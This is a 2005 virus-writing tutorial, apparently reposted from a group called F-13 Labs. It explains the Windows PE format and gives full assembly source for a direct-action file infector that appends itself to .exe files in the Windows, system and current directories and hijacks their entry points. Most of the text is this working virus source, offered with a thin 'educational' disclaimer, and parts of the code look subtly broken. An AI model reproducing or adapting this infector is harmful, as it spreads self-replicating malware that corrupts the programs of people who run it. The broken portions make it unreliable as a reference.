分享
 
 
 

WIN32 Virus Run in Ring3(英文原版)

王朝system·作者佚名  2006-02-01
窄屏简体版  字體: |||超大  

F-13 Labs

15 June 2005

WIN32 Virus Run in Ring3

Disclaimer:

The author of this document is not responsible of any kind of damage that could be made with the bad use of this information. The objective of this paper is for educational and research purposes only. It is made for use in viruses, but not as to promote any intentional harm or damage on computer systems.

Author: lclee_vx

<Email: lclee_vx@yahoo.com>

1.0 Foreword / Introduction

I wrote this article just a bit later than when I started infecting PE, as all concepts were clear in mind. The infection method described consists on adding the virus to the PE file’s last section. Here I just wrote one simple windows virus so you will see here just few lines of code. (Interesting ones I think but maybe not optimized). Here we go, please notice that it is illegal to spread viruses, and all this information is completely theoretical, and for testing purposes in a controlled environment.

Note:

Here are 6 functional logic of a virus

1. Search for ImageBase address of Kernel32.dll

2. Search for a file to infect

3. Open the file to see if it is infected

4. If infected, search for another file

5. Else, infect the file

6. Return control to the host program.

This article is never perfect, so notify me the possible mistakes in this document for further updates. Contact me:

Email : lclee_vx@yahoo.com

Group : F-13 Labs

2.0 Useful Things for Coding

You need some things before start code the vx. As below:

1. The tasm 5.0 package – ASM compiler, I like tasm :) !!

2. The API list (win32 API help file)

3. PE file format – strongly recommended Matt Pietrek document

4. ASM instruction helps file – Google and download the following file, helppc.zip.

5. Basic knowledge on Win32ASM

6. Windows platform

7. Editor – I prefer EditPlus

8. Vmware – testing environment

3.0 Basic

3.1 Ring3

The i386 architecture has four privilege levels, also known as rings that control such things as memory access and access to certain sensitive CPU instructions. Ring 3 is the least privileged level. In order to maintain compatibility, only ring 0 (kernel mode) and ring 3 (user mode) are used such as Windows NT/2000. Firstly, while under Windows, the memory layout is like this:

00000000h – 3FFFFFFFh

Application code and data

40000000h – 7FFFFFFFh

Shared memory (system dll’s)

80000000h – BFFFFFFFh

Kernel

C0000000h – FFFFFFFFh

Device Drivers

Here, we will code the virus and Infect the PE files in level Ring3 (00000000h – 3FFFFFFFh). I won’t explain more about memory layout / architecture in Windows because I am sure that you cat get the info from Microsoft website [1]. I assume that you will do a virus that increases the last section of the PE file. This technique is much more easy that adding another section. Let’s see how a virus can change an executable header in the following sections.

3.2 PE Format

It is very important to have cleared the structure of the PE header for write Win32 virus. Well, here I will put the PE format layout in the Appendix and just give the short description on PE file, for know more just take a look to the documents I recommended below.

PE stands for Portable Executable. It is the native file format of Win32 such as binary programs (exe, dll, sys, scr) or object files (bpl, dpl, cpl, ocx, acm, ax). The meaning of Portable Executable is that the file format is universal across win32 platform such as Windows 98 and 2K/NT. To understand the PE file, please refer to

1. Site Iczelion : http://win32assembly.online.fr/pe-tut1.html

2. Site msdn :http://msdn.microsoft.com/msdnmag/issues/02/02/PE/default.aspx

3. Site Jim Marinic : http://jfmasmtuts.blowsearch.ws/Ch2/pefile.htm

3.3 Layout Win32 ASM program

The basic layout for a Win32 ASM program looks like below:

;--------------------------------------------------------------------//

.386p

.model flat, stdcall

extrn <external name 1>:PROC

extrn <external name 2>:PROC

……….

.data

.code

start:

<main code>

end start

end

;----------------------------------------------------------------------//

I assume that you posses at least basic knowledge of assembly language, which every cracker, coder should have.

Here is the simple example of Win32 ASM program. So what I do is just use a MessageBox and since we work in Win32 and we want to use full 32 bit power, the command will be “MessageBoxA”. Note that “A” Suffix for the “MessageBoxA” deal with ASCII character. We define it with the already known “extrn” command, and then push the parameters and call the MessageBoxA API function. Remember that the parameters must be pushed in reverse order. Here we go…

;--------------------------------------------------------------------------------------//

.386p

.model flat

extrn MessageBoxA:PROC

extrn ExitProcess:PROC

.data

szTitle db "Group : F-13 Labs", 0

szMessage db "This is Simple Win32 ASM program", 10

db "From lclee_vx (RosLee)", 0

.code

start:

push 00000000h

push offset szTitle

push offset szMessage

push 00000000h

call MessageBoxA

push 00000000h

call ExitProcess

end start

;----------------------------------------------------------------------------//

Finally, we compile a win32 ASM program. I hope it is clear how to code the win32 ASM program. You can also use makefile, or build a bat for compile ASM program automatically.

Tasm32 /m3 /ml program

Tlink32 /Tpe /aa program, program,, import32.lib

Code Win32 Virus in Ring3

I will put here the code of a Win32 viruses simply for avoid the boring explanation of how to code the virus in Ring3, how to call the API functions to do the API hook and infect the PE file. Please noted that the Win32 virus code below without special features such as polymorphic engine. It is just a simple direct action virus to infect PE files, able to work in all win32 platforms. It is detected by all the antivirus software. So, it is not worth to change the strings and clam it is author.

;------------------------------------------------------------------------------------//

; Virus Name : F-13 V1.0

; Platform : Win32

; Author : lclee_vx (leelingchuan)

; Origin : Malaysia

; Group : F-13 Labs

; Target : PE files

; Copyright (c) 2005 by lclee_vx

;--------------------------------------------------------------------------------//

; There are some macros. And I set the length of the virus sizes.

;----------------------------------------------------------------------------------------//

.386

.model flat, stdcall

option casemap : none

VirusSize equ (offset Virus_End - offset Virus_Start)

.data

szTitle db "F-13 Labs", 0

szMessage db "lclee_vx", 0

.code

u32 db "User32.dll", 0

Virus_Start label byte

;----------------------------------------------------------------------------------------------------//

; Firstly, we must get the delta offset to known the current ImageBase. It is because we don’t

; know where we are executing the code. The “call” instruction will push the delta into stack

; And jump to next “pop” instruction. Now, ebp = Virtual Address of current process. The

; Current ImageBase = VirtualAddress – RVA (Relative Virtual Address of current process)

;---------------------------------------------------------------------------------------------------//

vxstart:

call delta

delta:

pop ebp

sub ebp, offset delta ;get the imagebase from the

;current process

;-----------------------------------------------------------------------------------------------------//

; esp=Address from the process was called. I put in ESI (it is in Kernel32.dll, probably

; CreateProcess API) and set to beginning of PE. Jump to the routine looking for Kernel32 Base

; address.

;----------------------------------------------------------------------------------------------------//

mov esi, [esp] ;load the return address

and esi, 0FFFFF000h ;Beginning of PE

call GetK32 ;routine to get imagebase of

;kernel32.dll :)

mov dword ptr [ebp+kernel], eax ;save the imagabase

; kernel32.dll

;---------------------------------------------------------------------------------------------------//

;jump to looking for the address of GetProcAddress function. The GetProcAddress function

;will help us to know the address of the API function we need to infect the PE file. Save the

;address in EDI

;-----------------------------------------------------------------------------------------------//

call GetApi ;search address

;GetProcAddress

mov [ebp+offset aGetProcAddress], edi ;save the VA GetProcAddress

;------------------------------------------------------------------------------------------------//

;edi=will hold the API address, esi=all the API ASCIIZ names we looking for. GetAPIs routine

;will search the API address we need

;-------------------------------------------------------------------------------------------------//

mov esi, [ebp+offset ListApi] ;start searching other API

mov edi, [ebp+offset OffsetApi] ;function we want..Rock :)!!

call GetApis

call Prepare ;prepare the location

;infect

call SetDirectory ;set the directory we want

;to scan files

;------------------------------------------------------------------------------------------------------//

;check whether is first generation (infected already?), if yes, we jump to running the pop up

;message as below we use the LoadLibrary function to load other dll file and GetProcAddress

;to get the address of API we needed. Here, we load the User32.dll and get the address of

;MessageBox function if not first generation, we reset back the old EIP and jump back to the

;original host

;--------------------------------------------------------------------------------------------------//

RestoreEIP:

cmp ebp, 0 ;first generation?

je Finish

mov eax, [ebp+offset OldEIP] ;restore old EIP

add eax, OldBase ;align to memory

jmp eax ;run back to the host

Finish:

call LoadDll

lea edx, [ebp+offset @MessageBoxA]

call GetAddr

push 0

push offset szTitle

push offset szMessage

push 0

mov eax, [ebp+offset @MessageBoxA]

call eax

call LoadDll

lea edx, [ebp+offset @ExitProcess]

call GetAddr

push 0

mov eax, [ebp+offset @ExitProcess]

call eax

;--------------------------------------------------------------------------------------------------//

;here we use the routine of LoadLibrary to load the dll we needed, here we load User32.dll

;and GetProcAddress to get the address..

;-----------------------------------------------------------------------------------------------//

LoadDll proc

push offset u32 ;load the User32.dll

mov eax, [ebp+offset @LoadLibraryA]

call eax

ret

LoadDll endp

GetAddr proc

push edx

push eax

mov eax, [ebp+offset aGetProcAddress]

call eax

ret

GetAddr endp

;--------------------------------------------------------------------------------------------//

;This part is start to infect the PE files. I use the method increase the last section. First, I

;will explain the API functions and arguments we needed.

;

; DWORD GetFileAttributes(

; LPCTSTR lpFileName // address of the name of a file or directory

; );

;a) lpFileName=address of the name

;

;

; BOOL SetFileAttributes(

; LPCTSTR lpFileName, // address of filename

; DWORD dwFileAttributes // address of attributes to set

; );

; a) dwFileAttributes=80h (any file)

;

;

; BOOL UnmapViewOfFile(

; LPCVOID lpBaseAddress // address where mapped view begins

; );

; a) lpBaseAddress=MapAddress returned by MapViewOfFile

;

;

; BOOL CloseHandle(

; HANDLE hObject // handle to object to close

; );

; a) hObject=can be handle by CreateFileMapping or CreateFile

;

;

; DWORD SetFilePointer(

; HANDLE hFile, // handle of file

; LONG lDistanceToMove, // number of bytes to move file pointer

; PLONG lpDistanceToMoveHigh, // address of high-order word of distance to move

; DWORD dwMoveMethod // how to move

; );

; a)hFile=File handle

; b)lDistanceToMove=length of file

; c)lpDistanceToMoveHigh=0

; d)dwMoveMethod=0 (from the beginning of file)

;

;

; BOOL SetEndOfFile(

; HANDLE hFile // handle of file whose EOF is to be set

; );

; a)hFile=file handle

;

;

;we need to set the flags of section to allow us increase it, as below

; or dword ptr [esi+24h],00000020h ; Set [CWE] flags: code,

; or dword ptr [esi+24h],20000000h ; executable,

; or dword ptr [esi+24h],80000000h ; writable

;to make it easy, I just put the code as

; or dword ptr [esi+24h], 0A0000020h

;

;

;The formula we use to point to last section header as below:

; Address of the last section's header =(Directory Table)+(No. of Directories)*(Directory Size) ; +(No. of Sections - 1)*(Section header size)

;And remember that

; The Directory size is 8

; The Section Header size is 28h.

;

;

;Let start a quick review of what we did to increase the last section.

; 1)locate PE header first

; 2) locate Directory Table at 78h

; 3) locate last section's header address (refer to the formula above)

; 4) increase the size of raw data

; 5) increase the virtual size

; 6) Get the “address copy to” and “address copy from” and start append the virus to

; the end

; 7) locate the new IP

; 8) mark the infected PE

; 9) increase the size of image

;Lastly, what you have to do is close the file and return to the host

;

;Note: Detail of the process please refer to the comment.

;--------------------------------------------------------------------------------------------//

InfectPE:

pushad ;save all register

lea esi, [ebp+WFD_szFileName]

push esi

mov eax, [ebp+offset @GetFileAttributesA] ;get the current FileAttributes

call eax

mov dword ptr [ebp+OldAttributes], eax ;save the current FileAttributes

push 80h ;here we set to open "Any"

;files

push esi

mov eax, [ebp+offset @SetFileAttributesA]

call eax

call OpenFile ;loop to open the file

inc eax ;error ??

cmp eax, 0

jz CantOpen ;jump out when error, :(!!

dec eax

mov dword ptr [ebp+FileHandle], eax ;save FileHandle

mov ecx, dword ptr [ebp+WFD_nFileSizeLow]

call GetMapHandle ;jmp to get mapping handle

cmp eax, 0 ;error ?

jz FailGetMap ;we failed

mov dword ptr [ebp+MapHandle], eax ;save the mapping Handle

mov ecx, dword ptr [ebp+WFD_nFileSizeLow] ;prepare the parameter

call MapFile ;start mapping the file

cmp eax, 0 ;error MapViewOfFile ??

jz CloseMap ;jump to Close Mapping the file

mov dword ptr [ebp+MapAddress], eax ;save the Mapping Address

mov esi, [eax+3ch] ;save PE header address into

;esi

add esi, eax ;esi = point to PE header

cmp dword ptr [esi], "EP" ;PE file ??

jnz UnMapFile ;close the file

cmp dword ptr [esi+4ch], "13F-" ;infected already??

jz UnMapFile

lea eax, [esi+28h] ;eax=Old EIP

mov dword ptr [ebp+OldEIP], eax ;save the Old EIP

mov ecx, dword ptr [esi+3ch] ;ecx = FileAlignment

push dword ptr [ebp+MapAddress] ;UnMap this file after get

;FileAlignment

mov eax, [ebp+Offset @UnMapViewOfFile]

call eax

push dword ptr [ebp+MapHandle]

mov eax, [ebp+offset @CloseHandle] ;close the MapHandle

call eax

mov eax, dword ptr [ebp+WFD_nFileSizeLow]

add eax, VirusSize

call AlignFile ;find No.of byte to pad

add eax, ecx ;eax = (Original File Size

;+VirusSize+No. byte to pad)

xchg eax, ecx ;ecx = eax

mov eax, dword ptr [ebp+FileHandle]

call GetMapHandle ;jump to CreateFileMapping

cmp eax, 0 ;error?

jz FailGetMap

call MapFile

cmp eax, 0 ;error??

jz CloseMap

mov esi, eax ;esi = PE pointer

mov edi, eax ;edi = PE pointer

mov ebx, dword ptr [esi+74h] ;ebx = NumberOfRvaAndSizes

shl ebx, 3 ;ebx * 8

xor eax, eax ;eax = 0

mov ax, word ptr [esi+06h] ;ax = number of sections

dec eax ;ax -1

mov ecx, 00000028h ;ecx = section header size

mul ecx ;eax = eax*ecx

add esi, 00000078h ;esi = ExportDirectory VA

add esi, ebx

add esi, ecx ;esi = pointer to Section

;Header

or dword ptr [esi+24h], 0A0000020h ;set the flags in section

mov eax, dword ptr [edi+28h] ;eax = AddressOfEntryPoint

mov dword ptr [ebp+OldEIP], eax ;save the OldEIP

mov eax, dword ptr [edi+34h] ;eax = ImageBase

mov dword ptr [ebp+OldBase], eax ;save the Original ImageBase

mov ebx, dword ptr [esi+10h] ;ebx = SizeOfRawData

mov edx, dword ptr [esi+14h] ;edx = PointerToRawData

add edx, ebx ;edx = Raw Pointer

mov eax, dword ptr [esi+0ch] ;eax = VirtualAddress

add eax, ebx ;eax=NewEIP =

;SizeOfRawData +

;VirtualAddress

mov dword ptr [ebp+NewEIP], eax ;save the New EIP

mov dword ptr [edi+28h], eax ;set the New EIP in the

;AddressOfEntryPoint

mov ebx, dword ptr [esi+10h] ;ebx = New SizeOfRawData

mov eax, ebx ;eax =ebx

add eax, VirusSize ;eax=NewSizeOfRawData +

;VirusSize

mov ecx, dword ptr [edi+3ch] ;ecx = FileAlign

call AlignFile ;jump to calculate the "number

;of byte to pad"

add eax, VirusSize ;eax=Number of byte to pad +

;VirusSize

add eax, ebx ;eax=eax+New SizeOfRawData

mov dword ptr [esi+08h], eax ;set the new VirtualSize

mov dword ptr [esi+10h], eax ;set the new SizeOfRawData

add ebx, [esi+0ch] ;ebx = New SizeOfRawData +

;VirtualAddress

mov dword ptr [edi+50h], eax ;set the new SizeOfImage

mov dword ptr [edi+4ch], "13F-" ;put the infected mark here

mov esi, dword ptr [ebp+vxstart] ;esi = point to the virus start =

;Address copy from

add edx, dword ptr [ebp+MapAddress] ;edx = Raw Pointer +

;MapAddress=Address copy to

xchg edi, edx

mov ecx, VirusSize ;set the length of virus

rep movsb ;start copy the virus to the end

;of section

jmp UnMapFile ;close the file

CantOpen:

push dword ptr [ebp+OldAttributes] ;here we failed to open the file

lea eax, [ebp+WFD_szFileName] ;with CreateFile function

push eax ;set to Old FileAttributes we

;get before

mov eax, [ebp+offset @SetFileAttributesA]

call eax

ret

FailGetMap:

push dword ptr [ebp+FileHandle]

mov eax, [ebp+offset @CloseHandle]

call eax

UnMapFile:

push dword ptr [ebp+MapAddress]

mov eax, [ebp+Offset @UnMapViewOfFile]

call eax

CloseMap:

push dword ptr [ebp+MapHandle]

mov eax, [ebp+offset @CloseHandle] ;close mapping

call eax

CloseFile:

mov ecx, dword ptr [ebp+WFD_nFileSizeLow] ;length

xor eax, eax ;eax =0

push eax

push eax

push ecx

push dword ptr [ebp+FileHandle]

mov eax, [ebp+offset @SetFilePointer]

call eax

push dword ptr [ebp+FileHandle]

mov eax, [ebp+offset @SetEndOfFile]

call eax

popad ;restore all register

ret

;-------------------------------------------------------------------------------------------------//

;here we align the file, need to get Number of byte to pad. This procedure is very

;important thing of the PE infection: align a number to a determinated factor. Below is the

;formula Number byte to pad = file alignment - remainer (NewSize/file alignment)

;--------------------------------------------------------------------------------------------------//

AlignFile proc

push edx ;save to stack

xor edx, edx ;edx=0, we need edx to save remainer

div ecx ;eax/ecx

sub ecx, edx ;ecx = Number byte to pad

pop edx

ret

AlignFile endp

;-------------------------------------------------------------------------------------------//

;we start mapping the file with MapViewOfFile function

; LPVOID MapViewOfFile(

; HANDLE hFileMappingObject, // file-mapping object to map into address space

; DWORD dwDesiredAccess, // access mode

; DWORD dwFileOffsetHigh, // high-order 32 bits of file offset

; DWORD dwFileOffsetLow, // low-order 32 bits of file offset

; DWORD dwNumberOfBytesToMap // number of bytes to map

; );

;

;The value of arguments is as below

; a)hFileMappingObject=File Map Handle (handle return by CreateFileMapping)

; b)dwDesiredAccess=2 (file map write mode)

; c)dwFileOffsetHigh=0

; d)dwFileOffsetLow=0

; e)dwNumberOfBytesToMap=byte to map

;------------------------------------------------------------------------------------------//

MapFile proc

push ecx

push 0h

push 0h

push 02h

push eax

mov eax, [ebp+offset @MapViewOfFile]

call eax

ret

MapFile endp

;--------------------------------------------------------------------------------------------//

;We start to get the mapping handle with CreateFileMapping function.

; HANDLE CreateFileMapping(

; HANDLE hFile, // handle to file to map

; LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // optional security attributes

; DWORD flProtect, // protection for mapping object

; DWORD dwMaximumSizeHigh, // high-order 32 bits of object size

; DWORD dwMaximumSizeLow, // low-order 32 bits of object size

; LPCTSTR lpName // name of file-mapping object

; );

;

;The value of arguments we need to set as below

; a) hFile=File Handle

; b) lpFileMappingAttributes=0 (default)

;flProtect=4 (page read/write)

;dwMaximumSizeHigh=0

;dwMaximumSizeLow=is the memory value we compute early

;lpName=0

;--------------------------------------------------------------------------------------------//

GetMapHandle proc

push 0h

push ecx

push 0h

push 04h

push 0h

push eax

mov eax, [ebp+offset @CreateFileMappingA]

call eax

ret

GetMapHandle endp

;--------------------------------------------------------------------------------------------//

;this part we open the file with CreateFile function. I think not need to explain more.

;

; HANDLE CreateFile(

; LPCTSTR lpFileName, // pointer to name of the file

; DWORD dwDesiredAccess, // access (read-write) mode

; DWORD dwShareMode, // share mode

; LPSECURITY_ATTRIBUTES lpSecurityAttributes, // pointer to security attributes

; DWORD dwCreationDistribution, // how to create

; DWORD dwFlagsAndAttributes, // file attributes

; HANDLE hTemplateFile // handle to file with attributes to copy

; );

;

;The argument we need to set as below

; a)lpFileName=pointer to name of the file

; b)dwDesiredAccess=80000000h+40000000h (generic read/write)

; c)dwShareMode=1 (share for read)

; d)lpSecurityAttributes=0(default)

; e)dwCreationDistribution=3 (open existing file)

; f)dwFlagsAndAttributes=0 (any file)

; g)hTemplateFile=0 (for windows)

;--------------------------------------------------------------------------------------------//

OpenFile proc

xor eax, eax

push eax ;hTemplateFile=0 (default)

push eax ;dwFlagsAndAttributes=0 (any

;files)

push 03h ;dwCreationDistribution=3

;( Open existing files)

push eax ;lpSecurityAttributes=0

;( default)

push 01h ;dwShareMode=1 (share to

;read)

push 80000000h or 40000000h ;dwDesiredAccess (read/write)

push esi ;lpFileName

mov eax, [ebp+offset @CreateFileA] ;call CreateFile function

call eax

ret

OpenFile endp

;---------------------------------------------------------------------------------------------//

;here we set the location we want to start searching exe file. We just set searching 3

;level, everytime I set the location of directory, jump to searching the file.

;---------------------------------------------------------------------------------------------//

SetDirectory:

xor ecx, ecx ;ecx=0

mov byte ptr [ecx], 03h ;set counter

lea edi, [ebp+offset Directories]

StartSet:

push edi ;push the path

mov eax, [ebp+offset @SetCurrentDirectoryA] ;set to directory path

call eax

call ScanFiles ;start to scan file We need

add edi, 7Fh ;next directory

dec ecx ;ecx -1

jnz StartSet

ret

;---------------------------------------------------------------------------------------------//

;start searching the *exe files in the directory we are in. Here I just set to infect 10 files.

;Before that, please understand the structure WIN32_FIND_DATA. We use FindFirstFile,

;FindNextFile to search the *exe file. If we get it, jump to InfectPE to start infect the

;the file. We end the searching with FindClose function.

;---------------------------------------------------------------------------------------------//

ScanFiles:

mov dword ptr [ebp+CounterInfect], 00000000h ;set the counter=0

lea eax, [ebp+offset WIN32_FIND_DATA]

push eax

lea eax, [ebp+offset ExeMask] ;search the *.exe files

push eax

mov eax, [ebp+offset @FindFirstFileA] ;start searching

call eax

inc eax ;error?

cmp eax, 0

jz FailScan

dec eax

mov dword ptr [ebp+SearchHandle], eax ;save the search handle

Scan1:

call InfectPE

inc byte ptr [ebp+CounterInfect]

cmp byte ptr [ebp+CounterInfect], 0Ah ;over limit infected ??

jz FailScan

Scan2:

mov edi, dword ptr [ebp+WFD_szFileName] ;clear the filename

mov ecx, max_path ;prepare for FindNextFile

xor al, al ;function

rep stosb

lea eax, [ebp+offset WIN32_FIND_DATA]

push eax

push dword ptr [ebp+SearchHandle]

mov eax, [ebp+offset @FindNextFileA] ;call FindNextFile function

call eax

cmp eax, 0 ;error??

jnz Scan1

CloseScan:

push dword ptr [ebp+SearchHandle]

mov eax, [ebp+offset @FindClose] ;close find

call eax

FailScan:

cmp byte ptr [ebp+CounterInfect], 0Ah ;over limit ??

jnz Scan2

ret

;-------------------------------------------------------------------------------------------------//

;start search the Kernel32.dll base address. Here we set the limit 50page (refer LimitK32)

;check whether is the PE?, if not, search another page. If at the end still cant get the address,

;hardcode the Windows XP Kernel32.dll base address. Please note that as I not set SEH in

;the code, might cause the error when run this …not have time :( !!

;--------------------------------------------------------------=-----------------------------//

GetK32 proc

Search1:

cmp byte ptr [ebp+LimitK32], 00h ;50page already?

jz K32Failed

cmp dword ptr [esi], "ZM" ;MZ Signature?

jz CheckPE ;check is PE file??

Search2:

sub esi, 1000h ;search another page

dec byte ptr [ebp+LimitK32] ;LimitK32 - 1

jmp Search1

CheckPE:

mov edi, [esi+3ch] ;edi = address PE header

;edi will be used in GetApi

;routine

add edi, esi ;edi = point to PE header

cmp dword ptr [edi], "EP" ;PE file??

jz SuccessK32 ;if equal, we success

jmp Search2

K32Failed:

mov esi, KernelXP ;hardcode the Windows XP

;kernel32.dll base address

SuccessK32:

xchg eax, esi

ret

GetK32 endp

;--------------------------------------------------------------------------------------------//

;this part scan the Export Directory to get the GetProcAddress function we need. Before

;we start, please read the tutorial PE by Iczelion (refer to site I recommended). Ok, let

;start. First refer GetK32 routine, edi=point to PE header. Set the ESI=point to

;ExportDirectory VA, now ESI in point to Export Directory section (refer to PE structure in

;Appendix). We save the the value of Base, NumberOfNames, AddressOfFunction,

;AddressOfNames, AddressOfNameOrdinals. We compare the AddressOfNames with the

;API function needed (here is GetProcAddress). If match, now ECX=the index into the

;AddressOfOrdinals. Use the formula to retrieve the address of function.

;(1) Ordinal=CX*2+[Address of ordinals]

;(2) Address of Function (RVA)=Ordinal*4+[Address of Functions]

;--------------------------------------------------------------------------------------------//

GetApi proc

mov esi, [edi+78h] ;point to ExportDirectory VA

add esi, [ebp+kernel] ;normalize

mov [ebp+offset Export], esi ;save the ExportDirectory VA

add esi, 10h ;point to Base (ExportDirectory)

lodsd ;load the Base Address into

;EAX register

mov [ebp+offset Base], eax ;save Base (ExportDirectory)

lodsd

lodsd ;load the NumberOfNames

;address into EAX register

mov [ebp+offset NumNames], eax ;save NumberOfNames

lodsd ;load the AddressOfFunction

;in EAX

add eax, [ebp+kernel] ;normalize RVA

;AddressOfFunctions

mov [ebp+offset AddFunc], eax ;save AddressOfFunctions

lodsd

add eax, [ebp+kernel] ;normalize RVA

;AddressOfNames

lodsd

mov [ebp+offset AddNames], eax ;save AddressOfNames

add eax, [ebp+kernel] ;normalize RVA

;AddressOfNameOrdinals

mov [ebp+offset AddOrdinal], eax ;save AddressOfNameOrdinal

mov esi, [ebp+offset AddFunc] ;load the address of function

lodsd ;into esi

add eax, [ebp+kernel] ;normalize RVA function

mov esi, [ebp+offset AddNames] ;load esi=AddressOfNames

mov [ebp+offset NamesIndex], esi ;save the index of

;AddressOfNames

mov edi, [esi]

add esi, [ebp+kernel] ;normalize the RVA

;AddressOfNames

xor ecx, ecx ;set the counter=0, make sure

;not > NumNames ?

mov ebx, [ebp+offset FirstApi] ;start search GetProcAddress

mov esi, [ebp+offset AddNames]

mov [ebp+offset Index], esi ;set the index

add esi, [ebp+kernel] ;normalize RVA AddNames

Loop

:

mov edi, ebx

Scan:

cmpsb ;compare string ESI, EDI

jne NextOne

cmp byte ptr [esi], 0 ;match??

je WeGet

jmp Scan

NextOne:

inc ecx increase counter

cmp cx, word ptr [ebp+offset NumNames] ;check whether > NumNames?

jg Failed

add dword ptr [ebp+offset Index], 4 ;next search

mov esi, [ebp+offset Index]

add esi, [ebp+kernel]

jmp Loop

WeGet:

shl ecx, 1 ;this part using the formula to

;retrieve the address. Refer to

;explanation above

mov esi, [ebp+AddOrdinal]

add esi, ecx lea eax, word ptr [esi]

shl eax, 2

add esi, [ebp+offset AddFunc]

mov edi, dword ptr [esi]

add edi, [ebp+kernel]

ret

Failed:

ret

GetApi endp

;---------------------------------------------------------------------------------------------------//

;start scan all API function we use to infect PE files. Here, we use the GetProcAddress to

;retrieve all the API address we needed. So, when we want to use the API function, we can

;use the method as below. For example we want to use FindFirstFile function

; push <argument FindFirstFile function>

; mov eax, [ebp+offset FindFirstFile]

; call eax

;---------------------------------------------------------------------------------------------------//

GetApis proc

G1: push esi ;Use the formula

mov eax, [ebp+kernel] ;(1) push <Api Function>

push eax ;(2) push ImageBase

;Kernel32.dll

mov eax, [ebp+offset aGetProcAddress] ;(3) call GetProcAddress

call eax ;return address is the RVA Api

;Function

cmp eax, 0

je G2

stosd ;store RVA address to edi

G2:

inc esi ;point to next Api function

cmp byte ptr [esi], 0AAh ;end??

je Out ;if yes, we are failed

jmp G1 ;loop again

Out:

ret

GetApis endp

;----------------------------------------------------------------------------------------------

;prepare the location to start infect. Before that, we need to remember the buffer size of

;directory is 7Fh. Here we use three function to set the location, GetWindowsDirectory,

;GetSystemDirectory, GetCurrentDirectory. Please read the Win32 APi…..

;----------------------------------------------------------------------------------------------

Prepare proc

lea edi, [ebp+WinDir]

push 7Fh ;push the buffer size

push edi

mov eax, [ebp+offset @GetWindowsDirectoryA] ;call GetWindowsDirectory

;Function

call eax

add edi, 7Fh

push 7Fh

push edi

mov eax, [ebp+offset @GetSystemDirectoryA] ;call GetSystemDirectory

;Function

call eax

add edi, 7Fh

push edi

push 7Fh

mov eax, [ebp+offset @GetCurrentDirectoryA] ;call GetCurrentDirectory

;Function

push eax

ret

Prepare endp

;--------------------------------------------------------------------------------------------

;variable

;---------------------------------------------------------------------------------------------

ExeMask db "*.exe", 0

max_path equ 260

CounterInfect dd 00000000h

SearchHandle dd 00000000h

FileHandle dd 00000000h

OldAttributes dd 00000000h

MapHandle dd 00000000h

MapAddress dd 00000000h

OldEIP dd 00000000h

NewEIP dd 00000000h

OldBase dd 00000000h

kernel dd 077E60000h

Export dd 00000000h

Base dd 00000000h

NumNames dd 00000000h

AddFunc dd 00000000h

AddNames dd 00000000h

AddOrdinal dd 00000000h

NamesIndex dd 00000000h

Index dd 00000000h

KernelXP equ 077E60000h

LimitK32 dw Limit

Limit equ (50000h/1000h)

Directories label byte

WinDir db 7Fh dup (00)

SysDir db 7Fh dup (00)

OrgDir db 7Fh dup (00)

ListApi label byte

@FindFirstFileA db "FindFirstFileA", 0

@FindNextFileA db "FindNextFileA", 0

@FindClose db "FindClose", 0

@GetFileAttributesA db "GetFileAttributesA", 0

@SetFileAttributesA db "SetFileAttributesA", 0

@CreateFileA db "CreateFileA", 0

@CreateFileMappingA db "CreateFileMappingA", 0

@CloseHandle db "CloseHandle", 0

@MapViewOfFile db "MapViewOfFile", 0

@SetFilePointer db "SetFilePointer", 0

@GetWindowsDirectoryA db "GetWindowsDirectoryA", 0

@GetSystemDirectoryA db "GetSystemDirectoryA", 0

@GetCurrentDirectoryA db "GetCurrentDirectoryA", 0

@SetCurrentDirectoryA db "SetCurrentDirectoryA", 0

@UnMapViewOfFile db "UnMapViewOfFile", 0

@SetEndOfFile db "SetEndOfFile", 0

@GetModuleHandleA db "GetModuleHandleA", 0

@LoadLibraryA db "LoadLibraryA", 0

@MessageBoxA db "MessageBoxA", 0

@ExitProcess db "ExitProcess", 0

db 0AAh

FirstApi db "GetProcAddress", 0

OffsetApi label byte

_FindFirstFileA dd 00000000h

_FindNextFileA dd 00000000h

_FindClose dd 00000000h

_GetFileAttributesA dd 00000000h

_SetFileAttributesA dd 00000000h

_CreateFileA dd 00000000h

_CreateFileMappingA dd 00000000h

_CloseHandle dd 00000000h

_MapViewOfFile dd 00000000h

_SetFilePointer dd 00000000h

_GetWindowsDirectoryA dd 00000000h

_GetSystemDirectoryA dd 00000000h

_GetCurrentDirectoryA dd 00000000h

_SetCurrentDirectoryA dd 00000000h

_UnMapViewOfFile dd 00000000h

_SetEndOfFile dd 00000000h

_GetModuleHandleA dd 00000000h

_LoadLibraryA dd 00000000h

_MessageBoxA dd 00000000h

_ExitProcess dd 00000000h

aGetProcAddress dd 00000000h

FILETIME STRUC

FT_dwLowDateTime dd ?

FT_dwHighDateTime dd ?

FILETIME ENDS

WIN32_FIND_DATA label byte

WFD_dwFileAttributes DD ?

WFD_ftCreationTime FILETIME ?

WFD_ftLastAccessTime FILETIME ?

WFD_ftLastWriteTime FILETIME ?

WFD_nFileSizeHigh DD ?

WFD_nFileSizeLow DD ?

WFD_dwReserved0 DD ?

WFD_dwReserved1 DD ?

WFD_szFileName DB max_path DUP (?)

WFD_szAlternateFileName DB 13 DUP (?)

DB 3 DUP (?) ; dword padding

SIZEOF_WIN32_FIND_DATA EQU SIZE WIN32_FIND_DATA

Virus_End label byte

end vxstart

4.1 Notes

I think that all about the Win32 virus in ring3. It is just a simple direct action virus without any special features to hide itself like polymorphic, anti debug or junk code. I also cut the part of spreading through the network LAN and email sending. It is able to work in all Win32 platforms and infects 10 files in the current, windows and system directory. As I know that some parts of the virus still not clear but I can’t put everything here.

Another thing is I also do not include SEH (Structured Exception Handling) and worried that this virus will cause error when run on Windows platform. Plus, now there was new method Vectored Exception Handling in Windows XP and 2003…Anyhow, the basic concept of Win32 Virus is presented. Figure 4.1.1 is show that the virus detected by Norton Anti-Virus and Virus name is BloodHound.W32.1 (Unknown Virus). Please refer to

http://securityresponse.symantec.com/avcenter/venc/data/bloodhound.w32.1.html

Figure 4.1.1 Unknown Virus

Lastly, many thanks go to group rrlf, blueowl and group F-13 Labs members. :)!!

APPENDIX:

PE File Formats Offsets

DOS MZ Header:

+00

WORD

e_magic

Magic Number MZ ($5A4D)

+02

WORD

e_cblp

Bytes on last page of file

+04

WORD

e_cp

Pages in file

+06

WORD

e_crlc

Relocations

+08

WORD

e_cparhdr

Size of header in paragraphs

+0A (10)

WORD

e_minalloc

Minimum extra paragraphs needed

